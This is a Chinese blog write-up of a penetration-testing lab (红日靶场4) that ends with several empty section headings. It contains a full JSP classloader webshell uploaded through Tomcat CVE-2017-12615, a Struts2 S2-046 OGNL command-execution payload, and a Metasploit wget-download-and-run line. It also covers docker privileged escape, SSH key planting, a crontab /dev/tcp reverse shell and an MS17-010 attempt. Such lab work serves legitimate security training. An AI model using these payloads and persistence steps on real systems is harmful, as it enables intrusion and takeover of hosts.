红日靶场4

descript

ubuntu:ubuntu

域成员机器:

douser:Dotest123

DC:administrator:Test2008.

渗透过程概述:

1、信息收集-->Tomcat任意文件写入漏洞getshell-->struts远程命令执行漏洞,直接上线msf

端口扫描,tomcat CVE-2017-12615任意文件写入漏洞getshell。Struts2 S2-046远程命令执行漏洞,上线msf。

2、docker逃逸-->内网渗透-->横向移动

确认docker环境,特权模式逃逸。ms17_010 永恒之蓝 渗透内网主机。


配置环境:

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

sudo docker-compose up -d

查看容器:

sudo docker ps -a

删除容器:

sudo docker rm -f

删除所有已经停止的容器:

docker rm $(docker ps -a -q)

1、信息收集

1.1 主机发现

arp-scan -l

descript

1.2 端口扫描

masscan -p 1-65535 --rate=1000 192.168.1.103

nmap -sC -sV -A -O -Pn 192.168.1.103 -p 22,2001,2002,2003

22:ssh

2001:struts2

2002:tomcat

2003:phpmyadmin

descript

2、漏洞挖掘

2.1 Tomcat任意文件写入漏洞CVE-2017-12615

2.1.1 kali本地的exploit-db库,查找漏洞

searchsploit tomcat 8.5.19

2.1.2 poc验证

2.2 struts远程命令执行漏洞S2-046

2.2.1 Struts2Scan.py 检测漏洞

Struts2Scan.py -u http://192.168.1.103:2001/

http://192.168.1.103:2001/ 是Struts2,使用Struts2-Scan 存在漏洞: S2-046

descript

2.3 phpmyadmin无密码进入漏洞,写文件getshell

3、漏洞利用

3.1 Tomcat任意文件写入漏洞CVE-2017-12615 getshell

http://192.168.1.103:2002/ 抓包,发送payload成功上传文件

shell地址:

http://192.168.31.130:2002/shell.jsp

抓包
PUT /shell.jsp/ HTTP/1.1

Host: 192.168.1.103:2002

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 956
shell.jsp
 <%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}




public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("cmd");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

3.2 struts远程命令执行漏洞S2-046利用,上线msf 

3.2.0 第一种:struts2全版本漏洞检测工具,上传shell

第二种方式如下:

3.2.1 点击submit抓包,注意payload里filename字段是空的

descript

descript

3.2.2 构造payload赋给filename字段,执行whoami

payload
 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

descript

descript

3.2.3 进行00截断,进入hex将30改为00

descript

descript

3.2.4 发包,执行whoami命令:

descript

3.2.5 利用web_delivery模块,s2-046上线msf

use exploit/multi/script/web_delivery

set target 7

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.1.102

set lport 12345

run

生成payload:

wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK; chmod +x gYbV9E4z; ./gYbV9E4z& disown

3.2.6 将payload里的分号;替换成&&,发包上线msf

wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK&& chmod +x gYbV9E4z&& ./gYbV9E4z& disown 

4、提权【docker逃逸提权】

4.1 确定在docker环境里

ls /.dockerenv

ip a

cat /proc/self/cgroup

descript

descript

4.2 确定是特权模式启动的docker

cat /proc/self/status|grep CapEff

CapEff 对应的掩码值为:

0000003fffffffff

可以用privilege特权模式逃逸

descript

4.3 mount挂载设备

fdisk -l

mkdir /test ------docker根目录创建挂载文件夹

mount /dev/sda1 /test

cat /test/etc/passwd

descript

4.4 kali生成公私钥

ssh-keygen -f rain

chmod 600 rain

蚁剑虚拟终端执行:

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys ------ avx连权限一起复制过去

echo 'rain.pub内容'>/test/home/ubuntu/.ssh/authorized_keys

kali执行ssh连接:

ssh -i rain ubuntu@192.168.1.103

4.5 ssh私钥连接ubuntu

ssh -i rain ubuntu@192.168.1.103

descript

4.6 crontab计划任务,docker逃逸

在计划任务里写入一个bash反弹shell的脚本:

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1">> /test/tmp/shell.sh

chmod +x /test/tmp/shell.sh

cat /test/tmp/shell.sh

写入crontab计划任务,表示每隔两分钟以root权限执行一次计划

echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

cat  /test/etc/crontab查看是否写入成功

nc -lvp 9999

获取ubuntu root权限

5、内网渗透【win7渗透】

5.1 信息收集

5.1.1 添加路由

run post/multi/manage/autoroute

5.1.2 主机发现

第一种:auxiliary/scanner/portscan/tcp

descript

第二种:auxiliary/scanner/discovery/udp_probe

descript

第三种:auxiliary/scanner/discovery/udp_sweep 模块使用失败

5.2 设置全局代理

use auxiliary/server/socks_proxy

setg Proxies socks5:127.0.0.1:1080 ------ 设置代理,不设置代理ms17_010很难打通

setg ReverseAllowProxy true

run

5.3 ms17_010 永恒之蓝漏洞验证

search 17_010

【永恒之蓝 利用失败】

descript

6、横向移动【dc渗透】

7、权限维持

8、痕迹清理

9、总结

posted @ 2023-03-23 13:40  hello_bao  阅读(539)  评论(0编辑  收藏  举报